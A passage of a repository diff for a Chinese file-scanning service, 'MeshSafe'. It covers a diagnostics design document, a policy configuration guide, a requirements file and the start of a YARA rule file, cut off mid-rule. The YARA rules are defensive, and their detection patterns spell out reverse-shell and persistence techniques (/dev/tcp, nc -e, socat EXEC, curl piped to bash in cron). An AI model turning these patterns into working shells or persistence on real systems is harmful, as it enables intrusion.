| 定时器 C | R002/R003/R004/R015 | ~1.5s | 300s | clamd TCP + docker inspect × 5 |
| 导出 | 全部 15 条 + docker logs 全量 | ~5-8s | 用户手动 | 后台线程,60s 超时 |
### 4.3 Redis 缓存结构
```
ms:diag:latest ← Hash: { rules: [...], generated_at: 1730406555, docker_status: "full", enabled: true }
ms:diag:cache:R001 ← String: { "result": {...}, "ts": 1730406555, "run_by": "timer:error_scan" }
ms:diag:cache:R009 ← 同上
...
ms:diag:docker_status ← String: "full" / "partial" / "none"
ms:diag:enabled ← String: "true" / "false"
```
**TTL**:单条规则缓存 6 分钟;`latest` 整个包 10 分钟。
### 4.4 定时器异常保护
```python
async def _timer_loop(name, interval, rules, docker_status):
"""通用定时器循环。"""
while True:
try:
await asyncio.sleep(interval)
results = await _run_rule_group(rules, docker_status)
await _write_redis(results, name)
except asyncio.CancelledError:
logger.info(f"定时器 {name} 被取消")
break
except Exception as e:
logger.exception(f"定时器 {name} 异常,{interval}s 后重试: {e}")
# 继续 while True,下次 sleep 后重试
```
---
## 五、后端接口清单
| 方法 | 路径 | 说明 | 响应 |
|------|------|------|------|
| GET | `/console/diagnostics` | 诊断面板 HTML | 页面(含 DIAG_ENABLED=false 横幅)|
| GET | `/api/v1/telemetry/summary` | 实时面板数据(页面调用)| JSON |
| GET | `/api/v1/telemetry/engine-health` | 引擎健康快照 | JSON |
| GET | `/api/v1/telemetry/errors?limit=20` | 最近错误列表 | JSON |
| GET | `/api/v1/telemetry/docker-status` | Docker 能力检测结果 | JSON |
| GET | `/api/v1/telemetry/rules` | **所有规则最新结果**(带时间戳 + 运行来源)| JSON |
| GET | `/api/v1/telemetry/dump` | **一键导出 tar.gz** | 文件下载 |
| GET | `/api/v1/telemetry/config` | 当前配置快照(周期、阈值、Docker 模式)| JSON |
---
## 六、后端代码结构
```
app/
├── diagnostic/ ← 新增目录
│ ├── __init__.py
│ ├── config.py ← 读取 diagnostics.yaml + 环境变量覆盖
│ ├── engine.py ← DiagnosticEngine(跑规则集)
│ ├── rules_db.py ← DB 聚合类规则实现(R001/R005-R008)
│ ├── rules_engine.py ← 引擎健康类规则实现(R002-R004)
│ ├── rules_log.py ← 日志匹配类规则实现(R009-R014)
│ ├── rules_container.py ← 容器状态类规则实现(R015)
│ ├── docker_probe.py ← 启动时 Docker 能力检测
│ ├── collector.py ← DB + scanner.health() 原始数据拉取
│ ├── dumper.py ← 打包 tar.gz + 脱敏
│ └── scheduler.py ← 三层定时器循环
├── console.py
│ └── 新增 1 个页面路由 + 7 个 API 路由
├── main.py
│ └── startup event 加 DIAG_ENABLED 检查 + scheduler 启动
├── config/
│ └── diagnostics.yaml ← 新增配置文件
├── templates/
│ ├── diagnostics.html ← 新增诊断面板模板
│ └── _nav.html ← nav_active='diagnostics' 入口
└── Dockerfile
└── 加 `RUN apt-get install docker.io-cli`
```
---
## 七、配置文件完整内容
**文件**:`app/config/diagnostics.yaml`
```yaml
# ===============================================================
# MeshSafe Diagnostics Kit v1.0 配置
# ===============================================================
# 环境变量可覆盖:
# MESHSAFE_DIAG_ENABLED=true|false
# MESHSAFE_DIAG_DOCKER=auto|true|false
# MESHSAFE_DIAG_ERROR_INTERVAL=30
# MESHSAFE_DIAG_CONTAINER_INTERVAL=300
# MESHSAFE_DIAG_DB_INTERVAL=60
# ===============================================================
diagnostics:
# ---------- 总开关 ----------
# true = 启动定时器、检测 Docker、运行规则引擎
# false = 只保留手动导出功能,所有自动诊断关闭
enabled: true
# ---------- Docker 日志/容器状态能力 ----------
# auto = 启动时自动检测 docker.sock 挂载
# true = 强制启用,连不上启动报错
# false = 强制关闭
docker:
enabled: auto
# ---------- 后台定时器周期(秒,0 = 不跑)----------
timers:
error_scan_interval: 30 # 错误/拦截类日志(R001/R005/R009-R014)
container_check_interval: 300 # 容器/引擎类(R002/R003/R004/R015)
db_aggregate_interval: 60 # DB 聚合类(R006/R007/R008)
# ---------- 日志行数控制 ----------
docker_log_tail: 500 # 定时器 grep 最近多少行
export_log_tail: 2000 # 导出时完整抓多少行
# ---------- 规则阈值 ----------
rules:
error_ratio_threshold: 0.05 # R001: error > 5% 告警
clamav_db_stale_days: 7 # R002: 病毒库 > 7 天告警
reject_ratio_threshold: 0.20 # R007: reject > 20% 告警
suspicious_exceeds_malicious: true # R006 开关
```
---
## 八、页面设计
### 8.1 诊断面板布局
```
┌────────────────────────────────────────────────────────────────────┐
│ Nav: 概览 | 策略配置 | 任务历史 | 测试靶场 | 🔧 诊断 ← active │
│ 最后刷新: 10:29:15 🧩 Docker: ✅ 完整 │
├────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─ 实时健康概览 ────────────────────────────────────────────────┐ │
│ │ 扫描总量 恶意拦截 可疑待核 错误比例 引擎在线 │ │
│ │ 12,472 117 47 10.0% 🔴 5/5 ✅ │ │
│ └────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─ ⚠️ 异常检测(本地规则引擎)───────────────────────────────────┐ │
│ │ 🔴 R001 错误比例偏高(10.0% > 阈值 5%) (10:29:15) │ │
│ │ 近 100 次扫描 12 次 error │ │
│ │ 💡 建议检查 ClamAV / Redis / Postgres 引擎 │ │
│ │ │ │
│ │ 🔴 R009 ClamAV 被 OOM Kill(重启 3 次) (10:29:15) │ │
│ │ 证据: meshsafe-clamav stderr: Killed (exit 137) │ │
│ │ 💡 建议给 clamav 容器加内存 512m → 1g │ │
│ │ │ │
│ │ 🟡 R002 ClamAV 病毒库 14 天未更新 (10:29:15) │ │
│ │ 💡 在线更新失败 → U 盘离线导入 │ │
│ │ │ │
│ │ 🟢 所有其他规则通过 │ │
│ └────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─ 🧩 容器运行状态 ──────────────────────────────────────────────┐ │
│ │ API ✅ healthy restart: 0 启动: 2h 前 │ │
│ │ Postgres ✅ healthy restart: 0 │ │
│ │ Redis ✅ healthy restart: 0 │ │
│ │ ClamAV ✅ running restart: 3 ⚠️ 近 24h 不稳定 │ │
│ │ Nginx ✅ healthy restart: 0 │ │
│ └────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─ 🧪 引擎状态 ─────────────────────────────────────────────────┐ │
│ │ 🦠 ClamAV ✅ 病毒库: 2026-10-14 (14天前) │ │
│ │ 🎯 YARA ✅ 规则: 205 条 │ │
│ │ 📄 Document ✅ │ │
│ │ 🔑 Keywords ✅ │ │
│ │ ⚙️ Binary ✅ │ │
│ └────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─ ❌ 最近 20 条错误 ────────────────────────────────────────────┐ │
│ │ [table: 时间 | 文件名 | 错误原因 | 引擎 | 分数] │ │
│ └────────────────────────────────────────────────────────────────┘ │
│ │
│ [📦 导出诊断包] 按钮 │
└────────────────────────────────────────────────────────────────────┘
```
### 8.2 总开关关闭时
```
┌────────────────────────────────────────────────────────────────────┐
│ ⛔ 诊断套件未启用 │
│ diagnostics.yaml: diagnostics.enabled = false │
│ │
│ 诊断套件提供实时健康检测、容器运行状态监控、一键诊断包导出。 │
│ 关闭后仅保留手动导出功能,所有自动规则引擎将停止运行。 │
│ │
│ 启用方式: │
│ 1. 修改 app/config/diagnostics.yaml: enabled → true │
│ 2. 或设置环境变量:MESHSAFE_DIAG_ENABLED=true │
│ 3. 重启 api 容器 │
│ │
│ [📦 手动导出诊断包(离线收集)] │
└────────────────────────────────────────────────────────────────────┘
```
---
## 九、实施计划
```
Phase 1(3-4 天)— 核心框架
├── app/diagnostic/ 目录结构 + 配置读取
├── DiagnosticEngine 框架 + 规则基类
├── DB 聚合类规则(R001/R005-R008)
├── 引擎协议类规则(R002/R003/R004)
└── Docker 能力检测
Phase 2(2-3 天)— 定时器 + 页面
├── 三层定时器 + Redis 缓存
├── 页面必跑规则通道
├── 诊断面板 HTML 模板(含 Docker 状态 + 总开关横幅)
├── 异常列表 + 时间戳显示
└── docker-compose.yml api 服务加 docker.sock 挂载
Phase 3(2 天)— 日志匹配 + 导出
├── 日志匹配类规则(R009-R014)
├── docker inspect 类规则(R015)
├── 一键导出 tar.gz + 脱敏
├── Dockerfile 加 docker CLI
└── 导出包结构完成
Phase 4(1 天)— 测试 + 验证
├── docker build + 重启 + 功能验证
├── 模拟无 Docker 环境(不挂 socket)→ 验证降级
├── 关闭总开关 → 验证横幅 + 手动导出仍可用
└── 全接口自测
```
---
## 十、后续演进(不在 v1.0)
| 版本 | 功能 |
|------|------|
| v1.1 | 导出包可选"含完整策略 YAML";规则阈值页面可配(不用改 yaml)|
| v1.1 | 导出包可选"上传到指定 S3 桶"(如果客户有内网 S3)|
| v2.0 | 云端收集服务(MeshSafe Pulse):多客户聚合 + dashboard + 规则引擎云端版 |
| v2.0 | LLM 辅助分析:把 diagnostics.tar.gz 喂给 LLM 生成结构化报告 |
| v3.0 | AI 辅助修复闭环(仅在你自己的 sandbox 里做,不碰客户环境)|
---
## 附录 A:Dockerfile 改动
```dockerfile
# ===== 新增:装 docker CLI =====
# api 容器需要 docker CLI 才能通过 docker.sock 访问宿主机 Docker
RUN apt-get update && apt-get install -y --no-install-recommends \
docker.io-cli \
&& rm -rf /var/lib/apt/lists/*
```
## 附录 B:docker-compose.yml 改动
```yaml
api:
volumes:
# ... 原有 volume ...
- /var/run/docker.sock:/var/run/docker.sock:ro # ← 新增:只读挂载
```
## 附录 C:快速降级指引
| 问题 | 处理 |
|------|------|
| 启动报 `ModuleNotFoundError: docker` | 忘装 docker CLI,跑 `apt-get install docker.io-cli` |
| 启动后页面显示 `ℹ️ Docker 能力未启用` | 没挂 docker.sock;compose api volumes 加一行 + rebuild |
| 想完全关掉诊断 | `diagnostics.enabled: false` 或环境变量 |
| 定时器吃 CPU | 三个定时器周期都可以调大;或设为 0 不跑某个 |
| 导出包太大 | `export_log_tail` 调小;或只导出 `scan_tasks.json` |
---
**文档结束** — 待审核 → 确认后开始编码

1322
docs/接口文档.md Normal file

File diff suppressed because it is too large Load Diff

459
docs/策略配置说明.md Normal file
View File

@@ -0,0 +1,459 @@
# MeshSafe 策略配置说明
| 项目 | 内容 |
|---|---|
| 适用对象 | 安全管理员、系统管理员 |
| 配置文件 | `config/policy.yaml` |
| 生效方式 | 修改后调用 `POST /api/v1/policies/reload` 或重启服务 |
| 文档版本 | v1.0 |
---
## 目录
1. [配置总览](#1-配置总览)
2. [字段详解](#2-字段详解)
3. [裁决流程](#3-裁决流程)
4. [调整场景手册](#4-调整场景手册)
5. [校验与错误处理](#5-校验与错误处理)
6. [变更管理](#6-变更管理)
---
## 1. 配置总览
策略文件采用 YAML 格式,路径由环境变量 `MESHSAFE_POLICY_FILE` 指定(默认 `/app/config/policy.yaml`)。
**核心原则:策略与代码分离。** 调整判定规则、阈值、白名单只需修改本文件,不需要重新构建或发布镜像。
```yaml
version: "2026.10.1"
description: "MeshSafe 默认全局策略(法院文书摆渡场景)"
global:
block_score: 70
review_score: [30, 70]
engine_failure_mode: fail_closed
max_file_size: 52428800
sync_max_size: 52428800
allow_encrypted_archive: false
allow_encrypted_document: false
allowed_extensions: [ ... ]
sandbox_required_extensions: [ ... ]
rule_overrides: { ... }
notification: { ... }
audit: { ... }
```
### 顶层结构
| 键 | 类型 | 必填 | 说明 |
|---|---|---|---|
| `version` | string | 是 | 策略版本号,建议用日期格式。写入每条扫描结果 |
| `description` | string | 否 | 策略说明 |
| `global` | map | 是 | 全局阈值与行为开关 |
| `allowed_extensions` | list | 是 | 允许传输的扩展名白名单 |
| `sandbox_required_extensions` | list | 否 | 强制走沙箱深检的类型 |
| `rule_overrides` | map | 否 | 特定规则的强制处置 |
| `notification` | map | 否 | 判定理由的输出控制 |
| `audit` | map | 否 | 审计记录内容控制 |
---
## 2. 字段详解
### 2.1 global
#### 2.1.1 `block_score`
| 项 | 说明 |
|---|---|
| 类型 | 整数,0~100 |
| 默认 | `70` |
| 含义 | 风险评分 **≥ 此值** 时判定为 `malicious`,处置动作为 `reject` |
调整方向:调低 → 更严格(更多文件被拒),调高 → 更宽松(需积累更多信号才拒绝)。
> 注意:单条 `critical` 级信号通常权重已达 50~90,因此 `block_score` 低于 50 时,大量正常文档会因多条低级信号叠加被拒。
#### 2.1.2 `review_score`
| 项 | 说明 |
|---|---|
| 类型 | 数组 `[下界, 上界]` |
| 默认 | `[30, 70]` |
| 含义 | 评分落在该区间时判定为 `suspicious`,处置动作为 `manual_review`(转人工复核) |
**这是误报缓冲的关键参数。** 调整方向:调低下界 → 更多文件进入人工复核(更安全但人工压力大);调高下界 → 更少人工复核(但风险文件可能被直接放行)。
#### 2.1.3 `engine_failure_mode`
| 项 | 说明 |
|---|---|
| 类型 | 字符串 `fail_closed` / `fail_open` |
| 默认 | `fail_closed` |
| 含义 | 检测引擎不可用时的整体行为 |
| 取值 | 行为 | 适用 |
|---|---|---|
| `fail_closed` | 直接拒绝,并说明引擎不可用 | **生产环境必须使用此项** |
| `fail_open` | 放行但标记 | 仅限测试环境 |
> 等保三级要求"安全优先",生产环境使用 `fail_open` 会在测评时被判定为不符合项。
#### 2.1.4 `max_file_size`
| 项 | 说明 |
|---|---|
| 类型 | 整数(字节) |
| 默认 | `52428800`(50 MB) |
| 含义 | 单文件大小上限。超限直接拒绝 |
#### 2.1.5 `sync_max_size`
| 项 | 说明 |
|---|---|
| 类型 | 整数(字节) |
| 默认 | `52428800`(50 MB) |
| 含义 | 同步模式处理的文件大小上限。超限转异步 |
必须 ≤ `max_file_size`。若大于,则会出现"文件本身允许但无法同步处理"的中间态。
#### 2.1.6 `allow_encrypted_archive` / `allow_encrypted_document`
| 项 | 说明 |
|---|---|
| 类型 | 布尔 |
| 默认 | `false` |
| 含义 | 是否允许加密的压缩包 / 加密的文档 |
加密文件无法被静态分析,**在无法确认内容安全的前提下不应放行**。确需放行时,应配合人工复核流程。
### 2.2 allowed_extensions
允许传输的扩展名白名单。
```yaml
allowed_extensions:
- .docx
- .pdf
- .xlsx
- .jpg
- .png
- .zip
```
规则:
- 必须以 `.` 开头(小写),否则加载校验失败
- 比较时统一转小写,配置中的大写会被拒绝
- **列表为空表示不限制**,生产环境强烈不建议
- 只校验**顶层文件**的扩展名;归档内的子文件由各自规则判定(受 `rule_overrides` 控制)
> 白名单是第一道也是最粗的一道防线。它挡不住"扩展名正确但内容是恶意"的攻击——那是 L1/L2 层的职责。
### 2.3 sandbox_required_extensions
强制走沙箱异步深检的扩展名。
```yaml
sandbox_required_extensions:
- .exe
- .msi
- .js
- .vbs
- .iso
```
**当前版本(P3 一期)沙箱未实现**,配置此项的效果是:命中的文件会走异步模式,并在 `meta` 中标注需要深检。P4 阶段接入 CAPE 后无需修改本项。
### 2.4 rule_overrides
特定规则的强制处置。**这是绕过评分直接裁决的能力**,用于把"一票否决"型规则固化下来。
```yaml
rule_overrides:
MRaptorAutoExecSuspicious:
action: reject
reason: "文档宏具备自动执行且包含可疑行为,按策略直接拒绝"
DDEAutoExecution:
action: reject
reason: "检测到 DDE/DDEAUTO 自动执行字段,按策略直接拒绝"
```
| 字段 | 说明 |
|---|---|
| `action` | 处置动作,见下表 |
| `reason` | 判定理由,可直接展示给用户(支持中文) |
**action 取值**
| 取值 | 行为 |
|---|---|
| `pass` | 放行 |
| `pass_with_flag` | 放行并标记 |
| `manual_review` | 转人工复核(同时把评分提升至 65,确保落入复核区间) |
| `reject` | 拒绝 |
| `reject_and_notify` | 拒绝并通知(当前实现等同 `reject`) |
**生效逻辑**
1. 命中 `rule_overrides` 的规则会**优先于评分**处理
2. 若 `action` 为 `reject` 类 → 立即返回拒绝结论,不再累加评分
3. 若 `action` 为 `manual_review` → 评分提升至 65 并继续后续裁决
**为什么用覆盖而不是纯评分**:像 `PathTraversal`、`DDEAutoExecution` 这类信号,一旦出现就足以判定不可放行,不应依赖其他信号累加来"凑够"阈值。
> 规则名必须与《接口文档》§6 中的 `rule` 字段完全一致,包括大小写。写错不会报错,只是永不生效——因此**每次修改后应实际测试验证**。
### 2.5 notification
```yaml
notification:
include_reason: true
max_reason_length: 500
```
| 字段 | 说明 |
|---|---|
| `include_reason` | 是否在结果中返回判定理由。关闭后 `reason` 为空字符串 |
| `max_reason_length` | 理由最大长度,超出截断(末尾加 `...`) |
> `include_reason` 只影响**返回给调用方的内容**,不影响审计日志。审计日志始终记录完整信息。
### 2.6 audit
```yaml
audit:
log_findings: true
log_extracted_paths: true
```
| 字段 | 说明 |
|---|---|
| `log_findings` | 审计日志中是否记录命中的规则明细 |
| `log_extracted_paths` | 是否记录归档内提取出的文件路径 |
关闭 `log_findings` 可显著降低审计日志体积,代价是事后无法还原"当初为什么判定为恶意"。**建议保持开启**。
---
## 3. 裁决流程
```
┌─────────────────────────┐
检测信号 ────────▶│ 步骤 1:引擎可用性检查 │──▶ 引擎不可用 → fail_closed 拒绝
└─────────────────────────┘
│
▼
┌─────────────────────────┐
│ 步骤 2:文件大小检查 │──▶ 超限 → 拒绝
└─────────────────────────┘
│
▼
┌─────────────────────────┐
│ 步骤 3:扩展名白名单 │──▶ 不在清单 → 拒绝
└─────────────────────────┘
│
▼
┌─────────────────────────┐
│ 步骤 4:加密文件检查 │──▶ 加密且不允许 → 拒绝
└─────────────────────────┘
│
▼
┌─────────────────────────┐
│ 步骤 5:规则覆盖匹配 │──▶ 命中 reject 类 → 立即拒绝
└─────────────────────────┘
│
▼
┌─────────────────────────┐
│ 步骤 6:权重累加评分 │
└─────────────────────────┘
│
▼
┌─────────────────────────┐
│ 步骤 7:阈值映射处置 │
└─────────────────────────┘
```
### 3.1 评分计算
```
score = min(Σ(命中信号的 weight), 100)
```
已被 `rule_overrides` 处理的信号不重复累加。
### 3.2 阈值映射
| 评分区间 | verdict | action |
|---|---|---|
| `score == 0` | `clean` | `pass` |
| `0 < score < review_low` | `suspicious` | `pass_with_flag` |
| `review_low ≤ score < block_score` | `suspicious` | `manual_review` |
| `score ≥ block_score` | `malicious` | `reject` |
### 3.3 权重来源
| 层级 | 典型权重 |
|---|---|
| L0 结构层 | 10 ~ 50 |
| L1 ClamAV | 25 ~ 90 |
| L2 文档深度 | 15 ~ 80 |
| L2B YARA / 二进制 | 10 ~ 85 |
权重定义在各检测引擎内部,调整权重要改代码——**因此优先用 `rule_overrides` 表达策略意图**,而不是频繁改权重。
---
## 4. 调整场景手册
### 4.1 场景:误报过多,业务被阻塞
**症状**:大量正常文档被判为 `manual_review` 或 `reject`。
**排查步骤**
1. 查审计日志,找出被拒文件的命中规则
2. 判断是哪条规则在误报
**处理方式**
| 误报来源 | 处理 |
|---|---|
| 某条规则过于敏感 | 用 `rule_overrides` 将该规则降级为 `pass_with_flag`,并改写 `reason` 说明 |
| 阈值过低 | 提高 `review_score` 下界,或提高 `block_score` |
| 白名单缺少某类型 | 在 `allowed_extensions` 补充 |
| 正常文件确实含宏(如模板文件) | 用 `rule_overrides` 对特定规则放行,**但需评估该文件是否会成为攻击载体** |
> 建议不要直接调高 `block_score`——那会让真正的恶意文件更容易通过。优先降级具体规则。
### 4.2 场景:漏报,需要提升严格度
| 措施 | 配置 |
|---|---|
| 降低复核门槛 | 调低 `review_score` 下界 |
| 直接提高拒绝门槛 | 调低 `block_score` |
| 某类风险必须拦截 | 在 `rule_overrides` 中加 `reject` |
| 禁用某类可执行文件 | 确认 `allowed_extensions` 中不含该类型 |
| 加密文件也拦截 | 保持 `allow_encrypted_*` 为 `false` |
### 4.3 场景:新增业务通道,需要独立策略
**当前版本为全局单策略。** 如需按通道区分,两种做法:
**做法 A(不推荐,需改代码)**:在策略中引入 `channels` 段,裁决时按 `channel` 取对应子策略。
**做法 B(推荐,零代码改动)**:在摆渡系统侧做分流。摆渡系统按通道自行维护白名单,检测服务只做统一的恶意性判定。
> 本期方案已确认采用全局策略。通道字段贯穿全链路(数据库、审计日志、API),后续扩展无需重构。
### 4.4 场景:允许某类加密文件
```yaml
global:
allow_encrypted_document: true
```
**同时必须配套**:加密文件无法静态检测,风险由人工复核承担。建议同时把该类文件的处置设为 `manual_review`:
```yaml
rule_overrides:
PdfEncrypted:
action: manual_review
reason: "PDF 已加密,无法自动检测,转人工复核"
```
### 4.5 场景:新增一种文件类型要放行
1. 在 `allowed_extensions` 补充扩展名
2. 确认该类型没有对应的深度检测引擎(否则即使放行也只是"未检测",不是"已检测通过")
3. 若该类型有特殊风险(如脚本类),评估是否需要新增检测规则
---
## 5. 校验与错误处理
### 5.1 加载时校验项
策略文件在加载时执行严格校验,**任一项不通过则拒绝加载并保留原有策略**:
| 校验项 | 规则 |
|---|---|
| 根节点类型 | 必须是映射结构 |
| `review_score` | 下界必须小于上界 |
| `block_score` | 不应低于 `review_score` 上界;须在 0~100 之间 |
| `rule_overrides[].action` | 必须是合法动作枚举 |
| `allowed_extensions` | 每项必须以 `.` 开头 |
| `sync_max_size` | 须 ≤ `max_file_size` |
> **为什么校验失败要保留旧策略**:如果加载失败时回退到"默认策略"或"空策略",等于把生产环境的判定逻辑悄悄改掉了,比直接报错危险得多。
### 5.2 重载失败的表现
```json
{
"detail": "策略校验失败: block_score (50) 不应低于 review_score 上界 (70)"
}
```
原策略继续生效。修正后重新调用重载接口。
### 5.3 常见配置错误
| 错误 | 后果 | 修正 |
|---|---|---|
| 扩展名写成 `docx`(漏点) | 加载校验失败 | 改为 `.docx` |
| 扩展名大写 `.DOCX` | 加载校验失败 | 改为小写 |
| `rule_overrides` 规则名拼错 | **静默失效** | 对照接口文档 §6 核对,并实际测试 |
| `block_score` 调得极低(如 10) | 正常文件大量被拒 | 回调至 60~80 |
| `allowed_extensions` 留空 | 所有类型都被拒 | 补充清单 |
> **规则名拼错是唯一会静默失效的配置错误**,务必实测。
---
## 6. 变更管理
### 6.1 变更流程
```
提出变更 → 安全管理员评审 → 备份当前策略 → 修改配置
→ 语法校验(本地) → 重载 → 用样本文件验证 → 记录变更
```
### 6.2 变更记录要求
每次策略变更应记录:
| 项 | 说明 |
|---|---|
| 变更时间 | 精确到分钟 |
| 变更人 | 姓名与账号 |
| 变更内容 | 具体字段的前后值 |
| 变更原因 | 业务或安全需求说明 |
| 影响评估 | 是否影响在途文件、是否需要通知对接方 |
| 验证方式 | 用哪些样本文件验证、结果如何 |
### 6.3 版本追溯
每次扫描结果携带 `meta.policy_version` 与 `meta.policy_sha256`。数据库中保留策略版本快照,可用于**按历史策略复现**某一历史文件的判定结果。
### 6.4 灰度建议
策略变更影响面大时,建议:
1. 先在测试环境用真实样本文件验证
2. 对比新旧策略的判定差异(可通过 `rescan` 接口批量重跑)
3. 差异符合预期后再在生产重载
---
## 附录:完整默认策略
见 `config/policy.yaml`。本文档说明各字段含义,实际以配置文件为准。
---
**文档结束** · 配套文档:《总体方案》《接口文档》《等保三级对照表》《运维手册》

BIN
logo.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 307 KiB

39
requirements.txt Normal file
View File

@@ -0,0 +1,39 @@
# =============================================================================
# MeshSafe 生产部署依赖(Python 3.12 + Debian slim)
# =============================================================================
# Web 框架
fastapi==0.115.6
uvicorn[standard]==0.34.0
python-multipart==0.0.20
pydantic==2.10.5
pydantic-settings==2.7.1
jinja2==3.1.4
# 数据库
sqlalchemy==2.0.37
psycopg2-binary==2.9.10
# 缓存 / 限流(Redis,单机不可用时自动降级内存)
redis==5.2.1
# 安全
cryptography==44.0.0
# 检测引擎
oletools==0.60.2
olefile>=0.47
msoffcrypto-tool>=5.4.1
pefile==2023.2.7
yara-python==4.5.0
pypdf==5.1.0
python-magic==0.4.27
# 工具
httpx==0.28.1
requests==2.32.3
PyYAML==6.0.2
python-dateutil==2.9.0.post0
# 诊断套件
docker==7.2.0

307
rules/linux.yar Normal file
View File

@@ -0,0 +1,307 @@
// =============================================================================
// MeshSafe L2B YARA 规则集 —— Linux / 跨平台后门专项(C7)
// =============================================================================
//
// 设计原则:
// - 光闸摆渡场景,所有规则 2-3 特征组合命中,避免单一关键词误伤合法 Shell/Python 代码
// - 覆盖范围:反弹 Shell、持久化(crontab/authorized_keys/systemd/LD_PRELOAD)、
// Rootkit 特征、挖矿通用特征
// - 命中后作为 finding 交给 PolicyEngine 权重累加
//
// 维护:
// - 新后门工具/家族出现时优先补充 "工具名 + 持久化手段" 组合
// =============================================================================
// =============================================================================
// C7-1 反弹 Shell(多种语言实现)
// =============================================================================
rule C7_Linux_ReverseShell_Bash {
meta:
risk_level = "critical"
category = "C7"
false_positive_rate = "low"
reference = "MITRE ATT&CK T1059.004 Bash"
description = "Bash 反弹 Shell 组合:/dev/tcp + bash -i 或 sh -c"
strings:
$devtcp = /\/dev\/tcp\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/\d{2,5}/ ascii
$bash_i = "bash -i" ascii
$sh_c = /sh\s+-c\s+['"]bash -i/ ascii
$exec3 = "exec 3<>/dev/tcp/" ascii
$exec4 = "exec 4>&0 0>&1 1>&4" ascii
condition:
// /dev/tcp/IP:PORT + bash -i 这两个必须同时出现
$devtcp and ($bash_i or $sh_c or $exec3)
or
// exec fd 重定向链
$exec3 and $exec4
}
rule C7_Linux_ReverseShell_NC {
meta:
risk_level = "critical"
category = "C7"
false_positive_rate = "medium"
reference = "MITRE ATT&CK T1059.004 Netcat"
description = "nc/ncat 反弹 Shell:-e/-c 参数指定 bash 或 sh"
strings:
$nc1 = /nc\s+[\w.-]+\s+\d{2,5}\s+-e\s+(\/bin\/(ba)?sh|bash|sh)/ ascii
$nc2 = /ncat\s+[\w.-]+\s+\d{2,5}\s+-e\s+(\/bin\/(ba)?sh|bash|sh)/ ascii
$nc3 = /nc\s+[\w.-]+\s+\d{2,5}\s+-c\s+(\/bin\/(ba)?sh|bash|sh)/ ascii
$nc4 = /netcat\s+[\w.-]+\s+\d{2,5}\s+-e/ ascii
$mkfifo = /mkfifo\s+\/tmp\/\w+;\s*(nc|ncat)\s+/ ascii
condition:
any of ($*)
}
rule C7_Linux_ReverseShell_Python {
meta:
risk_level = "high"
category = "C7"
false_positive_rate = "medium"
reference = "MITRE ATT&CK T1059.006 Python"
description = "Python 反弹 Shell:socket + exec/bin/sh + pty"
strings:
$socket1 = "import socket" ascii
$socket2 = "socket.socket" ascii
$pty = "import pty" ascii
$sub = "import subprocess" ascii
$sh = /\/bin\/(ba)?sh/ ascii
$osdup2 = "os.dup2" ascii
$execv = "os.execv" ascii
condition:
// socket + pty + /bin/bash = 完整 Python pty 反弹
($socket1 or $socket2) and $pty and $sh
or
// socket + subprocess + /bin/sh + dup2 = 经典模式
($socket1 or $socket2) and $sub and $sh and $osdup2
or
// socket + os.execv + /bin/bash
($socket1 or $socket2) and $execv and $sh
}
rule C7_Linux_ReverseShell_Perl {
meta:
risk_level = "high"
category = "C7"
false_positive_rate = "medium"
reference = "MITRE ATT&CK T1059.005 Perl"
description = "Perl 反弹 Shell:IO::Socket + exec + /bin/sh"
strings:
$iosocket = "IO::Socket::INET" ascii nocase
$socketvar = /\$s\s*=\s*IO::Socket/ ascii
$exec = /exec\s+['"]\/bin\/(ba)?sh['"]/ ascii
$open = /open\s*\(.*<&\$\{?s\}?/ ascii
$eval = /eval\s+reverse\s+['"]/ ascii
condition:
($iosocket or $socketvar) and ($exec or $open or $eval)
}
rule C7_Linux_ReverseShell_Socat {
meta:
risk_level = "high"
category = "C7"
false_positive_rate = "low"
reference = "MITRE ATT&CK T1059.004 Socat"
description = "socat 反弹 Shell:TCP-LISTEN + EXEC:/bin/bash"
strings:
$socat1 = /socat\s+(TCP-LISTEN:\d{2,5},?\s*(reuseaddr|fork)?|TCP4:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5})/ ascii
$socat2 = /EXEC:\/bin\/(ba)?sh/ ascii
$socat3 = /EXEC:'\/bin\/(ba)?sh'/ ascii
condition:
any of ($socat1*) and any of ($socat2, $socat3)
}
rule C7_Linux_ReverseShell_Misc {
meta:
risk_level = "medium"
category = "C7"
false_positive_rate = "medium"
reference = "多种语言反弹 Shell 通用特征"
description = "通用反弹 Shell 标记:/dev/tcp 或 /dev/udp 或 reverse shell 工具名"
strings:
$devudp = /\/dev\/udp\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/\d{2,5}/ ascii
$bashc = /bash\s+-c\s+['"].*\/dev\/(tcp|udp)/ ascii
$dash_e = /\/bin\/bash\s+-e\s+['"]/ ascii
$hydra = /Hydra|crackmap|weevely|meterpreter|msfconsole|msfvenom/ ascii nocase
$reverseshell = /reverse[_\s]?shell|shell[_\s]?shock/ ascii nocase
condition:
any of ($devudp, $bashc, $dash_e) or any of ($hydra, $reverseshell)
}
// =============================================================================
// C7-2 持久化 —— crontab / authorized_keys / systemd
// =============================================================================
rule C7_Linux_Persistence_Crontab {
meta:
risk_level = "high"
category = "C7"
false_positive_rate = "medium"
reference = "MITRE ATT&CK T1053.003 Cron"
description = "crontab 持久化:下载执行 + .bashrc 注入 + /tmp/.hidden 目录"
strings:
$crontab1 = /\*\s+\*\s+\*\s+\*\s+\*\s+(curl|wget)\s+['"]?https?:/ ascii
$crontab2 = /\*\s+\*\s+\*\s+\*\s+\*\s+(bash|sh)\s+\S+\s+['"]\/dev\/tcp/ ascii
$crontab3 = /crontab\s+-[lre]?\s+\/tmp\/\w+/ ascii
$bashrc = /\.bashrc|\.bash_profile|\.profile/ ascii
$wget = /wget\s+https?:/ ascii
$curl = /curl\s+.*\|\s*(bash|sh)/ ascii
$hidden = /\/tmp\/\.?\w+\s+&&/ ascii
condition:
any of ($crontab1, $crontab2, $crontab3)
or
$bashrc and ($wget or $curl) and $hidden
}
rule C7_Linux_Persistence_AuthorizedKeys {
meta:
risk_level = "high"
category = "C7"
false_positive_rate = "low"
reference = "MITRE ATT&CK T1098 SSH Authorized Keys"
description = "authorized_keys 写入:下载公钥 + 追加到 .ssh/authorized_keys + chmod 600"
strings:
